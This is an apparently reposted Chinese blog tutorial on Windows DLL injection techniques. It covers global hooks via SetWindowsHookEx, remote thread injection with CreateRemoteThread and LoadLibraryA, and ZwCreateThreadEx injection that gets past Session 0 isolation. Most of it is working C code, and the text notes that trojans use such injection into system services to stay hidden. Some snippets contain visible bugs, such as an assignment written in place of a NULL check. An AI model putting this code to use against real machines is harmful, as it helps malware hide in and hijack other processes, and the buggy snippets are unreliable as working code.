zoukankan      html  css  js  c++  java
  • 黑客编程技术(二)注入技术

    全局钩子注入

    在Windows中大部分的应用程序都是基于消息机制的,它们都有一个消息过程函数,根据不同的消息完成不同的功能。

    Windows提供的钩子机制就是用来截获和监视系统中这些信息。

    按照钩子作用的范围不同,它们又可分为局部钩子与全局钩子。局部钩子是针对某个线程;而全局钩子则是作用于整个系统的基于消息的应用。

    全局钩子需要使用DLL文件,在DLL中实现相应的钩子函数。

    SetWindowsHookExA函数

    将应用程序定义的挂钩过程安装到挂钩链中。安装一个挂钩过程来监视系统中的某些类型的事件。这些事件与特定线程或与调用线程在同一桌面上的所有线程相关联。

    HHOOK SetWindowsHookExA(
      int       idHook,
      HOOKPROC  lpfn,
      HINSTANCE hmod,
      DWORD     dwThreadId
    );

     编程实现

    // 设置全局钩子
    BOOL SetGlobalHook()
    {
        g_hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);
        if (NULL == g_hHook)
        {
            return FALSE;
        }
        return TRUE;
    }
    
    // 钩子回调函数
    LRESULT GetMsgProc(
        int code,
        WPARAM wParam,
        LPARAM lParam)
    {
        return ::CallNextHookEx(g_hHook, code, wParam, lParam);
    }
    
    // 卸载钩子
    BOOL UnsetGlobalHook()
    {
        if (g_hHook)
        {
            ::UnhookWindowsHookEx(g_hHook);
        }
        return TRUE;
    }
    
    // 共享内存
    #pragma data_seg("mydata")
        HHOOK g_hHook = NULL;
    #pragma data_seg()
    #pragma comment(linker, "/SECTION:mydata,RWS")

    主要通过调用SetWindowsHookEx函数设置全局钩子,完成DLL注入。通过调用CallNextHookEx函数传递钩子,让进程继续运行。通过调用UnhookWindowsHookEx函数卸载钩子,实现DLL释放。

    在调用SetWindowsHookEx函数设置全局钩子的时候,一定要将钩子回调函数编写在DLL模块当中,并指定该DLL模块的句柄。

    通过在DLL中通过#pragma data_seg()指令创建共享内存,那么,加载了该DLL的进程,共享一块内存,只要其中一个进程修改了内存区域的数据,其他进程对应内存区域的数据也会改变。

     远程线程注入

    远程线程注入DLL,使用关键函数CreateRemoteThread来在其他进程空间中创建了一个线程。

    首先,程序在加载一个DLL时,通常调用LoadLibrary函数来实现DLL的动态加载。

    有些系统DLL的加载基地址,要求系统启动之后必须固定,如果系统重新启动,则地址可以不同。

    虽然进程不同,但是开机后,kernel32.dll的加载基址在各个进程都是相同的,因此导出函数的地址也相同。所以,自己程序空间的LoadLibrary函数地址与其他进程空间的LoadLibrary函数地址相同。

    整个远程线程注入的流程可以分为

    ①先获取注入目标进程的PID以及注入目标进程的句柄。

    ②根据DLL名称大小在目标进程中分配内存空间。

    ③将DLL名称写入内存空间当中。

    ④获取kernel32.dll的句柄以及LoadLibrary函数的地址。

    ⑤调用CreateRemoteThread进行远程线程注入。

    编程实现

    //获取进程ID
    DWORD GetProId(char* szProcessname)
    {
        BOOL bRet;
        PROCESSENTRY32 pe32;
        HANDLE hSnap;
        hSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
        pe32.dwSize=sizeof(pe32);
        bRet = Process32First(hSnap, &pe32);
        while (bRet)
        {
            if (lstrcmp(strupr(pe32.szExeFile),strupr(szProcessname)==0)
            {
                return pe32.th32ProcessID;
            }
            else
            {
                bRet = Process32Next(hSnap, &pe32);
            }
        }
        return 0;
    }
    
    //注入过程
    BOOL LoadDll(DWORD dwProcessId,char* szDllName)
    {
        BOOL bet;
        hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
        if (hProcess == NULL)
        {
            printf("获取进程句柄失败");
            return FALSE;
        }
        dwLength = strlen(szDllName)+1;
        lpAddr = VirtualAllocEx(hProcess,NULL,dwLength,MEM_COMMIT,PAGE_READWRITE);
        if (lpAddr = NULL)
        {
            printf("为DLL名称分配空间失败");
            return FALSE;
        }
        bet = WriteProcessMemory(hProcess, lpAddr, szDllName, dwLength, NULL);
        if (bet == FALSE)
        {
            printf("DLL名称写入进程失败");
            return FALSE;
        }
        hmodule = GetModuleHandle("kernel32.dll");
        if (hmodule == NULL)
        {
            printf("获取模块句柄失败");
            return FALSE;
        }
        dwLoadAddr = (DWORD)GetProcAddress(hmodule, "LoadLibraryA");
        hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)dwLoadAddr,lpAddr, 0, NULL);
        if (hThread == NULL)
        {
            printf("创建远程线程失败");
            return FALSE;
        }
        CloseHandle(hThread);
        CloseHandle(hProcess);
        return TRUE;
    }

    如果利用上述代码去对一些系统服务进程进行注入,会发现注入失败。原因是系统存在SESSION 0 隔断的安全机制,传统的远程线程注入DLL方法并不能突破隔离。

    突破SESSION 0 隔离的远程线程注入

    病毒木马使用传统的远程线程注入技术,可以成功向一些普通的用户进程注入DLL,但向一些关键的系统服务进程注入的话,会使自己更加隐蔽,难以发现。

    直接调用ZwCreateThreadEx函数可以进行远程线程注入,还可以突破SESSION 0隔离。

    ZwCreateThreadEx函数

    DWORD WINAPI ZwCreateThreadEx(
            PHANDLE ThreadHandle,
            ACCESS_MASK DesiredAccess,
            LPVOID ObjectAttributes,
            HANDLE ProcessHandle,
            LPTHREAD_START_ROUTINE lpStartAddress,
            LPVOID lpParameter,
            BOOL CreateSuspended,
            DWORD dwStackSize,
            DWORD dw1,
            DWORD dw2,
            LPVOID pUnkown);

    编码实现

    // 使用 ZwCreateThreadEx 实现远线程注入
    BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char *pszDllFileName)
    {
        HANDLE hProcess = NULL;
        SIZE_T dwSize = 0;
        LPVOID pDllAddr = NULL;
        FARPROC pFuncProcAddr = NULL;
        HANDLE hRemoteThread = NULL;
        DWORD dwStatus = 0;
        // 打开注入进程,获取进程句柄
        hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
        if (NULL == hProcess)
        {
            ShowError("OpenProcess");
            return FALSE;
        }
        // 在注入进程中申请内存
        dwSize = 1 + ::lstrlen(pszDllFileName);
        pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
        if (NULL == pDllAddr)
        {
            ShowError("VirtualAllocEx");
            return FALSE;
        }
        // 向申请的内存中写入数据
        if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
        {
            ShowError("WriteProcessMemory");
            return FALSE;
        }
        // 加载 ntdll.dll
        HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
        if (NULL == hNtdllDll)
        {
            ShowError("LoadLirbary");
            return FALSE;
        }
        // 获取LoadLibraryA函数地址
        pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
        if (NULL == pFuncProcAddr)
        {
            ShowError("GetProcAddress_LoadLibraryA");
            return FALSE;
        }
        // 获取ZwCreateThread函数地址
    #ifdef _WIN64
        typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
            PHANDLE ThreadHandle,
            ACCESS_MASK DesiredAccess,
            LPVOID ObjectAttributes,
            HANDLE ProcessHandle,
            LPTHREAD_START_ROUTINE lpStartAddress,
            LPVOID lpParameter,
            ULONG CreateThreadFlags,
            SIZE_T ZeroBits,
            SIZE_T StackSize,
            SIZE_T MaximumStackSize,
            LPVOID pUnkown);
    #else
        typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
            PHANDLE ThreadHandle,
            ACCESS_MASK DesiredAccess,
            LPVOID ObjectAttributes,
            HANDLE ProcessHandle,
            LPTHREAD_START_ROUTINE lpStartAddress,
            LPVOID lpParameter,
            BOOL CreateSuspended,
            DWORD dwStackSize,
            DWORD dw1,
            DWORD dw2,
            LPVOID pUnkown);
    #endif
        typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
        if (NULL == ZwCreateThreadEx)
        {
            ShowError("GetProcAddress_ZwCreateThread");
            return FALSE;
        }
        // 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
        dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
        if (NULL == hRemoteThread)
        {
            ShowError("ZwCreateThreadEx");
            return FALSE;
        }
        // 关闭句柄
        ::CloseHandle(hProcess);
        ::FreeLibrary(hNtdllDll);
        return TRUE;
    }
  • 相关阅读:
    CommonJS, AMD 和 RequireJS之间的关系(转载)
    ansible 变量详解
    python3 进行字符串、日期、时间、时间戳相关转换
    Openresty 进行限流的方法
    Openresty 进行路由系统设计
    elasticsearch的监控脚本
    Python模块安装
    Openresty 操作Cookie
    Openresty 源码安装脚本
    Linux 下使用umount强行卸载设备
  • 原文地址:https://www.cnblogs.com/Virus-Faker/p/13163263.html
Copyright © 2011-2022 走看看